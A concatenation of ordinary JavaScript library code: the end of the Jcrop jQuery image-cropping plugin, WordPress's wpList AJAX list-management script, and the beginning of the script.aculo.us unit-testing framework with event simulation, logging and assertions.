handle.b.css({ top: px(south) }) &&
handle.r.css({ left: px(east) });
};
/*}}}*/
function moveto(x,y)/*{{{*/
{
$img2.css({ top: px(-y), left: px(-x) });
$sel.css({ top: px(y), left: px(x) });
};
/*}}}*/
function resize(w,h)/*{{{*/
{
$sel.width(w).height(h);
};
/*}}}*/
function refresh()/*{{{*/
{
var c = Coords.getFixed();
Coords.setPressed([c.x,c.y]);
Coords.setCurrent([c.x2,c.y2]);
updateVisible();
};
/*}}}*/
// Internal Methods
function updateVisible()/*{{{*/
{ if (awake) return update(); };
/*}}}*/
function update()/*{{{*/
{
var c = Coords.getFixed();
resize(c.w,c.h);
moveto(c.x,c.y);
options.drawBorders &&
borders['right'].css({ left: px(c.w-1) }) &&
borders['bottom'].css({ top: px(c.h-1) });
seehandles && moveHandles(c);
awake || show();
options.onChange(unscale(c));
};
/*}}}*/
function show()/*{{{*/
{
$sel.show();
$img.css('opacity',options.bgOpacity);
awake = true;
};
/*}}}*/
function release()/*{{{*/
{
disableHandles();
$sel.hide();
$img.css('opacity',1);
awake = false;
};
/*}}}*/
function showHandles()//{{{
{
if (seehandles)
{
moveHandles(Coords.getFixed());
$hdl_holder.show();
}
};
//}}}
function enableHandles()/*{{{*/
{
seehandles = true;
if (options.allowResize)
{
moveHandles(Coords.getFixed());
$hdl_holder.show();
return true;
}
};
/*}}}*/
function disableHandles()/*{{{*/
{
seehandles = false;
$hdl_holder.hide();
};
/*}}}*/
function animMode(v)/*{{{*/
{
(animating = v) ? disableHandles(): enableHandles();
};
/*}}}*/
function done()/*{{{*/
{
animMode(false);
refresh();
};
/*}}}*/
var $track = newTracker().mousedown(createDragger('move'))
.css({ cursor: 'move', position: 'absolute', zIndex: 360 })
$img_holder.append($track);
disableHandles();
return {
updateVisible: updateVisible,
update: update,
release: release,
refresh: refresh,
setCursor: function (cursor) { $track.css('cursor',cursor); },
enableHandles: enableHandles,
enableOnly: function() { seehandles = true; },
showHandles: showHandles,
disableHandles: disableHandles,
animMode: animMode,
done: done
};
}();
/*}}}*/
var Tracker = function()/*{{{*/
{
var onMove = function() { },
onDone = function() { },
trackDoc = options.trackDocument;
if (!trackDoc)
{
$trk
.mousemove(trackMove)
.mouseup(trackUp)
.mouseout(trackUp)
;
}
function toFront()/*{{{*/
{
$trk.css({zIndex:450});
if (trackDoc)
{
$(document)
.mousemove(trackMove)
.mouseup(trackUp)
;
}
}
/*}}}*/
function toBack()/*{{{*/
{
$trk.css({zIndex:290});
if (trackDoc)
{
$(document)
.unbind('mousemove',trackMove)
.unbind('mouseup',trackUp)
;
}
}
/*}}}*/
function trackMove(e)/*{{{*/
{
onMove(mouseAbs(e));
};
/*}}}*/
function trackUp(e)/*{{{*/
{
e.preventDefault();
e.stopPropagation();
if (btndown)
{
btndown = false;
onDone(mouseAbs(e));
options.onSelect(unscale(Coords.getFixed()));
toBack();
onMove = function() { };
onDone = function() { };
}
return false;
};
/*}}}*/
function activateHandlers(move,done)/* {{{ */
{
btndown = true;
onMove = move;
onDone = done;
toFront();
return false;
};
/* }}} */
function setCursor(t) { $trk.css('cursor',t); };
$img.before($trk);
return {
activateHandlers: activateHandlers,
setCursor: setCursor
};
}();
/*}}}*/
var KeyManager = function()/*{{{*/
{
var $keymgr = $('<input type="radio" />')
.css({ position: 'absolute', left: '-30px' })
.keypress(parseKey)
.blur(onBlur),
$keywrap = $('<div />')
.css({
position: 'absolute',
overflow: 'hidden'
})
.append($keymgr)
;
function watchKeys()/*{{{*/
{
if (options.keySupport)
{
$keymgr.show();
$keymgr.focus();
}
};
/*}}}*/
function onBlur(e)/*{{{*/
{
$keymgr.hide();
};
/*}}}*/
function doNudge(e,x,y)/*{{{*/
{
if (options.allowMove) {
Coords.moveOffset([x,y]);
Selection.updateVisible();
};
e.preventDefault();
e.stopPropagation();
};
/*}}}*/
function parseKey(e)/*{{{*/
{
if (e.ctrlKey) return true;
shift_down = e.shiftKey ? true : false;
var nudge = shift_down ? 10 : 1;
switch(e.keyCode)
{
case 37: doNudge(e,-nudge,0); break;
case 39: doNudge(e,nudge,0); break;
case 38: doNudge(e,0,-nudge); break;
case 40: doNudge(e,0,nudge); break;
case 27: Selection.release(); break;
case 9: return true;
}
return nothing(e);
};
/*}}}*/
if (options.keySupport) $keywrap.insertBefore($img);
return {
watchKeys: watchKeys
};
}();
/*}}}*/
// }}}
// Internal Methods {{{
function px(n) { return '' + parseInt(n) + 'px'; };
function pct(n) { return '' + parseInt(n) + '%'; };
function cssClass(cl) { return options.baseClass + '-' + cl; };
function getPos(obj)/*{{{*/
{
// Updated in v0.9.4 to use built-in dimensions plugin
var pos = $(obj).offset();
return [ pos.left, pos.top ];
};
/*}}}*/
function mouseAbs(e)/*{{{*/
{
return [ (e.pageX - docOffset[0]), (e.pageY - docOffset[1]) ];
};
/*}}}*/
function myCursor(type)/*{{{*/
{
if (type != lastcurs)
{
Tracker.setCursor(type);
//Handles.xsetCursor(type);
lastcurs = type;
}
};
/*}}}*/
function startDragMode(mode,pos)/*{{{*/
{
docOffset = getPos($img);
Tracker.setCursor(mode=='move'?mode:mode+'-resize');
if (mode == 'move')
return Tracker.activateHandlers(createMover(pos), doneSelect);
var fc = Coords.getFixed();
var opp = oppLockCorner(mode);
var opc = Coords.getCorner(oppLockCorner(opp));
Coords.setPressed(Coords.getCorner(opp));
Coords.setCurrent(opc);
Tracker.activateHandlers(dragmodeHandler(mode,fc),doneSelect);
};
/*}}}*/
function dragmodeHandler(mode,f)/*{{{*/
{
return function(pos) {
if (!options.aspectRatio) switch(mode)
{
case 'e': pos[1] = f.y2; break;
case 'w': pos[1] = f.y2; break;
case 'n': pos[0] = f.x2; break;
case 's': pos[0] = f.x2; break;
}
else switch(mode)
{
case 'e': pos[1] = f.y+1; break;
case 'w': pos[1] = f.y+1; break;
case 'n': pos[0] = f.x+1; break;
case 's': pos[0] = f.x+1; break;
}
Coords.setCurrent(pos);
Selection.update();
};
};
/*}}}*/
function createMover(pos)/*{{{*/
{
var lloc = pos;
KeyManager.watchKeys();
return function(pos)
{
Coords.moveOffset([pos[0] - lloc[0], pos[1] - lloc[1]]);
lloc = pos;
Selection.update();
};
};
/*}}}*/
function oppLockCorner(ord)/*{{{*/
{
switch(ord)
{
case 'n': return 'sw';
case 's': return 'nw';
case 'e': return 'nw';
case 'w': return 'ne';
case 'ne': return 'sw';
case 'nw': return 'se';
case 'se': return 'nw';
case 'sw': return 'ne';
};
};
/*}}}*/
function createDragger(ord)/*{{{*/
{
return function(e) {
if (options.disabled) return false;
if ((ord == 'move') && !options.allowMove) return false;
btndown = true;
startDragMode(ord,mouseAbs(e));
e.stopPropagation();
e.preventDefault();
return false;
};
};
/*}}}*/
function presize($obj,w,h)/*{{{*/
{
var nw = $obj.width(), nh = $obj.height();
if ((nw > w) && w > 0)
{
nw = w;
nh = (w/$obj.width()) * $obj.height();
}
if ((nh > h) && h > 0)
{
nh = h;
nw = (h/$obj.height()) * $obj.width();
}
xscale = $obj.width() / nw;
yscale = $obj.height() / nh;
$obj.width(nw).height(nh);
};
/*}}}*/
function unscale(c)/*{{{*/
{
return {
x: parseInt(c.x * xscale), y: parseInt(c.y * yscale),
x2: parseInt(c.x2 * xscale), y2: parseInt(c.y2 * yscale),
w: parseInt(c.w * xscale), h: parseInt(c.h * yscale)
};
};
/*}}}*/
function doneSelect(pos)/*{{{*/
{
var c = Coords.getFixed();
if (c.w > options.minSelect[0] && c.h > options.minSelect[1])
{
Selection.enableHandles();
Selection.done();
}
else
{
Selection.release();
}
Tracker.setCursor( options.allowSelect?'crosshair':'default' );
};
/*}}}*/
function newSelection(e)/*{{{*/
{
if (options.disabled) return false;
if (!options.allowSelect) return false;
btndown = true;
docOffset = getPos($img);
Selection.disableHandles();
myCursor('crosshair');
var pos = mouseAbs(e);
Coords.setPressed(pos);
Tracker.activateHandlers(selectDrag,doneSelect);
KeyManager.watchKeys();
Selection.update();
e.stopPropagation();
e.preventDefault();
return false;
};
/*}}}*/
function selectDrag(pos)/*{{{*/
{
Coords.setCurrent(pos);
Selection.update();
};
/*}}}*/
function newTracker()
{
var trk = $('<div></div>').addClass(cssClass('tracker'));
$.browser.msie && trk.css({ opacity: 0, backgroundColor: 'white' });
return trk;
};
// }}}
// API methods {{{
function animateTo(a)/*{{{*/
{
var x1 = a[0] / xscale,
y1 = a[1] / yscale,
x2 = a[2] / xscale,
y2 = a[3] / yscale;
if (animating) return;
var animto = Coords.flipCoords(x1,y1,x2,y2);
var c = Coords.getFixed();
var animat = initcr = [ c.x, c.y, c.x2, c.y2 ];
var interv = options.animationDelay;
var x = animat[0];
var y = animat[1];
var x2 = animat[2];
var y2 = animat[3];
var ix1 = animto[0] - initcr[0];
var iy1 = animto[1] - initcr[1];
var ix2 = animto[2] - initcr[2];
var iy2 = animto[3] - initcr[3];
var pcent = 0;
var velocity = options.swingSpeed;
Selection.animMode(true);
var animator = function()
{
return function()
{
pcent += (100 - pcent) / velocity;
animat[0] = x + ((pcent / 100) * ix1);
animat[1] = y + ((pcent / 100) * iy1);
animat[2] = x2 + ((pcent / 100) * ix2);
animat[3] = y2 + ((pcent / 100) * iy2);
if (pcent < 100) animateStart();
else Selection.done();
if (pcent >= 99.8) pcent = 100;
setSelectRaw(animat);
};
}();
function animateStart()
{ window.setTimeout(animator,interv); };
animateStart();
};
/*}}}*/
function setSelect(rect)//{{{
{
setSelectRaw([rect[0]/xscale,rect[1]/yscale,rect[2]/xscale,rect[3]/yscale]);
};
//}}}
function setSelectRaw(l) /*{{{*/
{
Coords.setPressed([l[0],l[1]]);
Coords.setCurrent([l[2],l[3]]);
Selection.update();
};
/*}}}*/
function setOptions(opt)/*{{{*/
{
if (typeof(opt) != 'object') opt = { };
options = $.extend(options,opt);
if (typeof(options.onChange)!=='function')
options.onChange = function() { };
if (typeof(options.onSelect)!=='function')
options.onSelect = function() { };
};
/*}}}*/
function tellSelect()/*{{{*/
{
return unscale(Coords.getFixed());
};
/*}}}*/
function tellScaled()/*{{{*/
{
return Coords.getFixed();
};
/*}}}*/
function setOptionsNew(opt)/*{{{*/
{
setOptions(opt);
interfaceUpdate();
};
/*}}}*/
function disableCrop()//{{{
{
options.disabled = true;
Selection.disableHandles();
Selection.setCursor('default');
Tracker.setCursor('default');
};
//}}}
function enableCrop()//{{{
{
options.disabled = false;
interfaceUpdate();
};
//}}}
function cancelCrop()//{{{
{
Selection.done();
Tracker.activateHandlers(null,null);
};
//}}}
function destroy()//{{{
{
$div.remove();
$origimg.show();
};
//}}}
function interfaceUpdate(alt)//{{{
// This method tweaks the interface based on options object.
// Called when options are changed and at end of initialization.
{
options.allowResize ?
alt?Selection.enableOnly():Selection.enableHandles():
Selection.disableHandles();
Tracker.setCursor( options.allowSelect? 'crosshair': 'default' );
Selection.setCursor( options.allowMove? 'move': 'default' );
$div.css('backgroundColor',options.bgColor);
if ('setSelect' in options) {
setSelect(opt.setSelect);
Selection.done();
delete(options.setSelect);
}
if ('trueSize' in options) {
xscale = options.trueSize[0] / boundx;
yscale = options.trueSize[1] / boundy;
}
xlimit = options.maxSize[0] || 0;
ylimit = options.maxSize[1] || 0;
xmin = options.minSize[0] || 0;
ymin = options.minSize[1] || 0;
if ('outerImage' in options)
{
$img.attr('src',options.outerImage);
delete(options.outerImage);
}
Selection.refresh();
};
//}}}
// }}}
$hdl_holder.hide();
interfaceUpdate(true);
var api = {
animateTo: animateTo,
setSelect: setSelect,
setOptions: setOptionsNew,
tellSelect: tellSelect,
tellScaled: tellScaled,
disable: disableCrop,
enable: enableCrop,
cancel: cancelCrop,
focus: KeyManager.watchKeys,
getBounds: function() { return [ boundx * xscale, boundy * yscale ]; },
getWidgetSize: function() { return [ boundx, boundy ]; },
release: Selection.release,
destroy: destroy
};
$origimg.data('Jcrop',api);
return api;
};
$.fn.Jcrop = function(options)/*{{{*/
{
function attachWhenDone(from)/*{{{*/
{
var loadsrc = options.useImg || from.src;
var img = new Image();
img.onload = function() { $.Jcrop(from,options); };
img.src = loadsrc;
};
/*}}}*/
if (typeof(options) !== 'object') options = { };
// Iterate over each object, attach Jcrop
this.each(function()
{
// If we've already attached to this object
if ($(this).data('Jcrop'))
{
// The API can be requested this way (undocumented)
if (options == 'api') return $(this).data('Jcrop');
// Otherwise, we just reset the options...
else $(this).data('Jcrop').setOptions(options);
}
// If we haven't been attached, preload and attach
else attachWhenDone(this);
});
// Return "this" so we're chainable a la jQuery plugin-style!
return this;
};
/*}}}*/
})(jQuery);
| JavaScript |
(function($) {
var fs = {add:'ajaxAdd',del:'ajaxDel',dim:'ajaxDim',process:'process',recolor:'recolor'}, wpList;
wpList = {
settings: {
url: ajaxurl, type: 'POST',
response: 'ajax-response',
what: '',
alt: 'alternate', altOffset: 0,
addColor: null, delColor: null, dimAddColor: null, dimDelColor: null,
confirm: null,
addBefore: null, addAfter: null,
delBefore: null, delAfter: null,
dimBefore: null, dimAfter: null
},
nonce: function(e,s) {
var url = wpAjax.unserialize(e.attr('href'));
return s.nonce || url._ajax_nonce || $('#' + s.element + ' input[name="_ajax_nonce"]').val() || url._wpnonce || $('#' + s.element + ' input[name="_wpnonce"]').val() || 0;
},
parseClass: function(e,t) {
var c = [], cl;
try {
cl = $(e).attr('class') || '';
cl = cl.match(new RegExp(t+':[\\S]+'));
if ( cl )
c = cl[0].split(':');
} catch(r) {}
return c;
},
pre: function(e,s,a) {
var bg, r;
s = $.extend( {}, this.wpList.settings, {
element: null,
nonce: 0,
target: e.get(0)
}, s || {} );
if ( $.isFunction( s.confirm ) ) {
if ( 'add' != a ) {
bg = $('#' + s.element).css('backgroundColor');
$('#' + s.element).css('backgroundColor', '#FF9966');
}
r = s.confirm.call(this, e, s, a, bg);
if ( 'add' != a )
$('#' + s.element).css('backgroundColor', bg );
if ( !r )
return false;
}
return s;
},
ajaxAdd: function( e, s ) {
e = $(e);
s = s || {};
var list = this, cls = wpList.parseClass(e,'add'), es, valid, formData, res, rres;
s = wpList.pre.call( list, e, s, 'add' );
s.element = cls[2] || e.attr( 'id' ) || s.element || null;
if ( cls[3] )
s.addColor = '#' + cls[3];
else
s.addColor = s.addColor || '#FFFF33';
if ( !s )
return false;
if ( !e.is('[class^="add:' + list.id + ':"]') )
return !wpList.add.call( list, e, s );
if ( !s.element )
return true;
s.action = 'add-' + s.what;
s.nonce = wpList.nonce(e,s);
es = $('#' + s.element + ' :input').not('[name="_ajax_nonce"], [name="_wpnonce"], [name="action"]');
valid = wpAjax.validateForm( '#' + s.element );
if ( !valid )
return false;
s.data = $.param( $.extend( { _ajax_nonce: s.nonce, action: s.action }, wpAjax.unserialize( cls[4] || '' ) ) );
formData = $.isFunction(es.fieldSerialize) ? es.fieldSerialize() : es.serialize();
if ( formData )
s.data += '&' + formData;
if ( $.isFunction(s.addBefore) ) {
s = s.addBefore( s );
if ( !s )
return true;
}
if ( !s.data.match(/_ajax_nonce=[a-f0-9]+/) )
return true;
s.success = function(r) {
res = wpAjax.parseAjaxResponse(r, s.response, s.element);
rres = r;
if ( !res || res.errors )
return false;
if ( true === res )
return true;
jQuery.each( res.responses, function() {
wpList.add.call( list, this.data, $.extend( {}, s, { // this.firstChild.nodevalue
pos: this.position || 0,
id: this.id || 0,
oldId: this.oldId || null
} ) );
} );
list.wpList.recolor();
$(list).trigger( 'wpListAddEnd', [ s, list.wpList ] );
wpList.clear.call(list,'#' + s.element);
};
s.complete = function(x, st) {
if ( $.isFunction(s.addAfter) ) {
var _s = $.extend( { xml: x, status: st, parsed: res }, s );
s.addAfter( rres, _s );
}
};
$.ajax( s );
return false;
},
ajaxDel: function( e, s ) {
e = $(e);
s = s || {};
var list = this, cls = wpList.parseClass(e,'delete'), element, res, rres;
s = wpList.pre.call( list, e, s, 'delete' );
s.element = cls[2] || s.element || null;
if ( cls[3] )
s.delColor = '#' + cls[3];
else
s.delColor = s.delColor || '#faa';
if ( !s || !s.element )
return false;
s.action = 'delete-' + s.what;
s.nonce = wpList.nonce(e,s);
s.data = $.extend(
{ action: s.action, id: s.element.split('-').pop(), _ajax_nonce: s.nonce },
wpAjax.unserialize( cls[4] || '' )
);
if ( $.isFunction(s.delBefore) ) {
s = s.delBefore( s, list );
if ( !s )
return true;
}
if ( !s.data._ajax_nonce )
return true;
element = $('#' + s.element);
if ( 'none' != s.delColor ) {
element.css( 'backgroundColor', s.delColor ).fadeOut( 350, function(){
list.wpList.recolor();
$(list).trigger( 'wpListDelEnd', [ s, list.wpList ] );
});
} else {
list.wpList.recolor();
$(list).trigger( 'wpListDelEnd', [ s, list.wpList ] );
}
s.success = function(r) {
res = wpAjax.parseAjaxResponse(r, s.response, s.element);
rres = r;
if ( !res || res.errors ) {
element.stop().stop().css( 'backgroundColor', '#faa' ).show().queue( function() { list.wpList.recolor(); $(this).dequeue(); } );
return false;
}
};
s.complete = function(x, st) {
if ( $.isFunction(s.delAfter) ) {
element.queue( function() {
var _s = $.extend( { xml: x, status: st, parsed: res }, s );
s.delAfter( rres, _s );
}).dequeue();
}
}
$.ajax( s );
return false;
},
ajaxDim: function( e, s ) {
if ( $(e).parent().css('display') == 'none' ) // Prevent hidden links from being clicked by hotkeys
return false;
e = $(e);
s = s || {};
var list = this, cls = wpList.parseClass(e,'dim'), element, isClass, color, dimColor, res, rres;
s = wpList.pre.call( list, e, s, 'dim' );
s.element = cls[2] || s.element || null;
s.dimClass = cls[3] || s.dimClass || null;
if ( cls[4] )
s.dimAddColor = '#' + cls[4];
else
s.dimAddColor = s.dimAddColor || '#FFFF33';
if ( cls[5] )
s.dimDelColor = '#' + cls[5];
else
s.dimDelColor = s.dimDelColor || '#FF3333';
if ( !s || !s.element || !s.dimClass )
return true;
s.action = 'dim-' + s.what;
s.nonce = wpList.nonce(e,s);
s.data = $.extend(
{ action: s.action, id: s.element.split('-').pop(), dimClass: s.dimClass, _ajax_nonce : s.nonce },
wpAjax.unserialize( cls[6] || '' )
);
if ( $.isFunction(s.dimBefore) ) {
s = s.dimBefore( s );
if ( !s )
return true;
}
element = $('#' + s.element);
isClass = element.toggleClass(s.dimClass).is('.' + s.dimClass);
color = wpList.getColor( element );
element.toggleClass( s.dimClass );
dimColor = isClass ? s.dimAddColor : s.dimDelColor;
if ( 'none' != dimColor ) {
element
.animate( { backgroundColor: dimColor }, 'fast' )
.queue( function() { element.toggleClass(s.dimClass); $(this).dequeue(); } )
.animate( { backgroundColor: color }, { complete: function() {
$(this).css( 'backgroundColor', '' );
$(list).trigger( 'wpListDimEnd', [ s, list.wpList ] );
}
});
} else {
$(list).trigger( 'wpListDimEnd', [ s, list.wpList ] );
}
if ( !s.data._ajax_nonce )
return true;
s.success = function(r) {
res = wpAjax.parseAjaxResponse(r, s.response, s.element);
rres = r;
if ( !res || res.errors ) {
element.stop().stop().css( 'backgroundColor', '#FF3333' )[isClass?'removeClass':'addClass'](s.dimClass).show().queue( function() { list.wpList.recolor(); $(this).dequeue(); } );
return false;
}
};
s.complete = function(x, st) {
if ( $.isFunction(s.dimAfter) ) {
element.queue( function() {
var _s = $.extend( { xml: x, status: st, parsed: res }, s );
s.dimAfter( rres, _s );
}).dequeue();
}
};
$.ajax( s );
return false;
},
getColor: function( el ) {
var color = jQuery(el).css('backgroundColor');
return color || '#ffffff';
},
add: function( e, s ) {
e = $(e);
var list = $(this), old = false, _s = { pos: 0, id: 0, oldId: null }, ba, ref, color;
if ( 'string' == typeof s )
s = { what: s };
s = $.extend(_s, this.wpList.settings, s);
if ( !e.size() || !s.what )
return false;
if ( s.oldId )
old = $('#' + s.what + '-' + s.oldId);
if ( s.id && ( s.id != s.oldId || !old || !old.size() ) )
$('#' + s.what + '-' + s.id).remove();
if ( old && old.size() ) {
old.before(e);
old.remove();
} else if ( isNaN(s.pos) ) {
ba = 'after';
if ( '-' == s.pos.substr(0,1) ) {
s.pos = s.pos.substr(1);
ba = 'before';
}
ref = list.find( '#' + s.pos );
if ( 1 === ref.size() )
ref[ba](e);
else
list.append(e);
} else if ( 'comment' != s.what || 0 === $('#' + s.element).length ) {
if ( s.pos < 0 ) {
list.prepend(e);
} else {
list.append(e);
}
}
if ( s.alt ) {
if ( ( list.children(':visible').index( e[0] ) + s.altOffset ) % 2 ) { e.removeClass( s.alt ); }
else { e.addClass( s.alt ); }
}
if ( 'none' != s.addColor ) {
color = wpList.getColor( e );
e.css( 'backgroundColor', s.addColor ).animate( { backgroundColor: color }, { complete: function() { $(this).css( 'backgroundColor', '' ); } } );
}
list.each( function() { this.wpList.process( e ); } );
return e;
},
clear: function(e) {
var list = this, t, tag;
e = $(e);
if ( list.wpList && e.parents( '#' + list.id ).size() )
return;
e.find(':input').each( function() {
if ( $(this).parents('.form-no-clear').size() )
return;
t = this.type.toLowerCase();
tag = this.tagName.toLowerCase();
if ( 'text' == t || 'password' == t || 'textarea' == tag )
this.value = '';
else if ( 'checkbox' == t || 'radio' == t )
this.checked = false;
else if ( 'select' == tag )
this.selectedIndex = null;
});
},
process: function(el) {
var list = this,
$el = $(el || document);
$el.delegate( 'form[class^="add:' + list.id + ':"]', 'submit', function(){
return list.wpList.add(this);
});
$el.delegate( '[class^="add:' + list.id + ':"]:not(form)', 'click', function(){
return list.wpList.add(this);
});
$el.delegate( '[class^="delete:' + list.id + ':"]', 'click', function(){
return list.wpList.del(this);
});
$el.delegate( '[class^="dim:' + list.id + ':"]', 'click', function(){
return list.wpList.dim(this);
});
},
recolor: function() {
var list = this, items, eo;
if ( !list.wpList.settings.alt )
return;
items = $('.list-item:visible', list);
if ( !items.size() )
items = $(list).children(':visible');
eo = [':even',':odd'];
if ( list.wpList.settings.altOffset % 2 )
eo.reverse();
items.filter(eo[0]).addClass(list.wpList.settings.alt).end().filter(eo[1]).removeClass(list.wpList.settings.alt);
},
init: function() {
var lists = this;
lists.wpList.process = function(a) {
lists.each( function() {
this.wpList.process(a);
} );
};
lists.wpList.recolor = function() {
lists.each( function() {
this.wpList.recolor();
} );
};
}
};
$.fn.wpList = function( settings ) {
this.each( function() {
var _this = this;
this.wpList = { settings: $.extend( {}, wpList.settings, { what: wpList.parseClass(this,'list')[1] || '' }, settings ) };
$.each( fs, function(i,f) { _this.wpList[i] = function( e, s ) { return wpList[f].call( _this, e, s ); }; } );
} );
wpList.init.call(this);
this.wpList.process();
return this;
};
})(jQuery);
| JavaScript |
// script.aculo.us unittest.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009
// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
// (c) 2005-2009 Jon Tirsen (http://www.tirsen.com)
// (c) 2005-2009 Michael Schuerig (http://www.schuerig.de/michael/)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/
// experimental, Firefox-only
Event.simulateMouse = function(element, eventName) {
var options = Object.extend({
pointerX: 0,
pointerY: 0,
buttons: 0,
ctrlKey: false,
altKey: false,
shiftKey: false,
metaKey: false
}, arguments[2] || {});
var oEvent = document.createEvent("MouseEvents");
oEvent.initMouseEvent(eventName, true, true, document.defaultView,
options.buttons, options.pointerX, options.pointerY, options.pointerX, options.pointerY,
options.ctrlKey, options.altKey, options.shiftKey, options.metaKey, 0, $(element));
if(this.mark) Element.remove(this.mark);
this.mark = document.createElement('div');
this.mark.appendChild(document.createTextNode(" "));
document.body.appendChild(this.mark);
this.mark.style.position = 'absolute';
this.mark.style.top = options.pointerY + "px";
this.mark.style.left = options.pointerX + "px";
this.mark.style.width = "5px";
this.mark.style.height = "5px;";
this.mark.style.borderTop = "1px solid red;";
this.mark.style.borderLeft = "1px solid red;";
if(this.step)
alert('['+new Date().getTime().toString()+'] '+eventName+'/'+Test.Unit.inspect(options));
$(element).dispatchEvent(oEvent);
};
// Note: Due to a fix in Firefox 1.0.5/6 that probably fixed "too much", this doesn't work in 1.0.6 or DP2.
// You need to downgrade to 1.0.4 for now to get this working
// See https://bugzilla.mozilla.org/show_bug.cgi?id=289940 for the fix that fixed too much
Event.simulateKey = function(element, eventName) {
var options = Object.extend({
ctrlKey: false,
altKey: false,
shiftKey: false,
metaKey: false,
keyCode: 0,
charCode: 0
}, arguments[2] || {});
var oEvent = document.createEvent("KeyEvents");
oEvent.initKeyEvent(eventName, true, true, window,
options.ctrlKey, options.altKey, options.shiftKey, options.metaKey,
options.keyCode, options.charCode );
$(element).dispatchEvent(oEvent);
};
Event.simulateKeys = function(element, command) {
for(var i=0; i<command.length; i++) {
Event.simulateKey(element,'keypress',{charCode:command.charCodeAt(i)});
}
};
var Test = {};
Test.Unit = {};
// security exception workaround
Test.Unit.inspect = Object.inspect;
Test.Unit.Logger = Class.create();
Test.Unit.Logger.prototype = {
initialize: function(log) {
this.log = $(log);
if (this.log) {
this._createLogTable();
}
},
start: function(testName) {
if (!this.log) return;
this.testName = testName;
this.lastLogLine = document.createElement('tr');
this.statusCell = document.createElement('td');
this.nameCell = document.createElement('td');
this.nameCell.className = "nameCell";
this.nameCell.appendChild(document.createTextNode(testName));
this.messageCell = document.createElement('td');
this.lastLogLine.appendChild(this.statusCell);
this.lastLogLine.appendChild(this.nameCell);
this.lastLogLine.appendChild(this.messageCell);
this.loglines.appendChild(this.lastLogLine);
},
finish: function(status, summary) {
if (!this.log) return;
this.lastLogLine.className = status;
this.statusCell.innerHTML = status;
this.messageCell.innerHTML = this._toHTML(summary);
this.addLinksToResults();
},
message: function(message) {
if (!this.log) return;
this.messageCell.innerHTML = this._toHTML(message);
},
summary: function(summary) {
if (!this.log) return;
this.logsummary.innerHTML = this._toHTML(summary);
},
_createLogTable: function() {
this.log.innerHTML =
'<div id="logsummary"></div>' +
'<table id="logtable">' +
'<thead><tr><th>Status</th><th>Test</th><th>Message</th></tr></thead>' +
'<tbody id="loglines"></tbody>' +
'</table>';
this.logsummary = $('logsummary');
this.loglines = $('loglines');
},
_toHTML: function(txt) {
return txt.escapeHTML().replace(/\n/g,"<br/>");
},
addLinksToResults: function(){
$$("tr.failed .nameCell").each( function(td){ // todo: limit to children of this.log
td.title = "Run only this test";
Event.observe(td, 'click', function(){ window.location.search = "?tests=" + td.innerHTML;});
});
$$("tr.passed .nameCell").each( function(td){ // todo: limit to children of this.log
td.title = "Run all tests";
Event.observe(td, 'click', function(){ window.location.search = "";});
});
}
};
Test.Unit.Runner = Class.create();
Test.Unit.Runner.prototype = {
initialize: function(testcases) {
this.options = Object.extend({
testLog: 'testlog'
}, arguments[1] || {});
this.options.resultsURL = this.parseResultsURLQueryParameter();
this.options.tests = this.parseTestsQueryParameter();
if (this.options.testLog) {
this.options.testLog = $(this.options.testLog) || null;
}
if(this.options.tests) {
this.tests = [];
for(var i = 0; i < this.options.tests.length; i++) {
if(/^test/.test(this.options.tests[i])) {
this.tests.push(new Test.Unit.Testcase(this.options.tests[i], testcases[this.options.tests[i]], testcases["setup"], testcases["teardown"]));
}
}
} else {
if (this.options.test) {
this.tests = [new Test.Unit.Testcase(this.options.test, testcases[this.options.test], testcases["setup"], testcases["teardown"])];
} else {
this.tests = [];
for(var testcase in testcases) {
if(/^test/.test(testcase)) {
this.tests.push(
new Test.Unit.Testcase(
this.options.context ? ' -> ' + this.options.titles[testcase] : testcase,
testcases[testcase], testcases["setup"], testcases["teardown"]
));
}
}
}
}
this.currentTest = 0;
this.logger = new Test.Unit.Logger(this.options.testLog);
setTimeout(this.runTests.bind(this), 1000);
},
parseResultsURLQueryParameter: function() {
return window.location.search.parseQuery()["resultsURL"];
},
parseTestsQueryParameter: function(){
if (window.location.search.parseQuery()["tests"]){
return window.location.search.parseQuery()["tests"].split(',');
};
},
// Returns:
// "ERROR" if there was an error,
// "FAILURE" if there was a failure, or
// "SUCCESS" if there was neither
getResult: function() {
var hasFailure = false;
for(var i=0;i<this.tests.length;i++) {
if (this.tests[i].errors > 0) {
return "ERROR";
}
if (this.tests[i].failures > 0) {
hasFailure = true;
}
}
if (hasFailure) {
return "FAILURE";
} else {
return "SUCCESS";
}
},
postResults: function() {
if (this.options.resultsURL) {
new Ajax.Request(this.options.resultsURL,
{ method: 'get', parameters: 'result=' + this.getResult(), asynchronous: false });
}
},
runTests: function() {
var test = this.tests[this.currentTest];
if (!test) {
// finished!
this.postResults();
this.logger.summary(this.summary());
return;
}
if(!test.isWaiting) {
this.logger.start(test.name);
}
test.run();
if(test.isWaiting) {
this.logger.message("Waiting for " + test.timeToWait + "ms");
setTimeout(this.runTests.bind(this), test.timeToWait || 1000);
} else {
this.logger.finish(test.status(), test.summary());
this.currentTest++;
// tail recursive, hopefully the browser will skip the stackframe
this.runTests();
}
},
summary: function() {
var assertions = 0;
var failures = 0;
var errors = 0;
var messages = [];
for(var i=0;i<this.tests.length;i++) {
assertions += this.tests[i].assertions;
failures += this.tests[i].failures;
errors += this.tests[i].errors;
}
return (
(this.options.context ? this.options.context + ': ': '') +
this.tests.length + " tests, " +
assertions + " assertions, " +
failures + " failures, " +
errors + " errors");
}
};
Test.Unit.Assertions = Class.create();
Test.Unit.Assertions.prototype = {
initialize: function() {
this.assertions = 0;
this.failures = 0;
this.errors = 0;
this.messages = [];
},
summary: function() {
return (
this.assertions + " assertions, " +
this.failures + " failures, " +
this.errors + " errors" + "\n" +
this.messages.join("\n"));
},
pass: function() {
this.assertions++;
},
fail: function(message) {
this.failures++;
this.messages.push("Failure: " + message);
},
info: function(message) {
this.messages.push("Info: " + message);
},
error: function(error) {
this.errors++;
this.messages.push(error.name + ": "+ error.message + "(" + Test.Unit.inspect(error) +")");
},
status: function() {
if (this.failures > 0) return 'failed';
if (this.errors > 0) return 'error';
return 'passed';
},
assert: function(expression) {
var message = arguments[1] || 'assert: got "' + Test.Unit.inspect(expression) + '"';
try { expression ? this.pass() :
this.fail(message); }
catch(e) { this.error(e); }
},
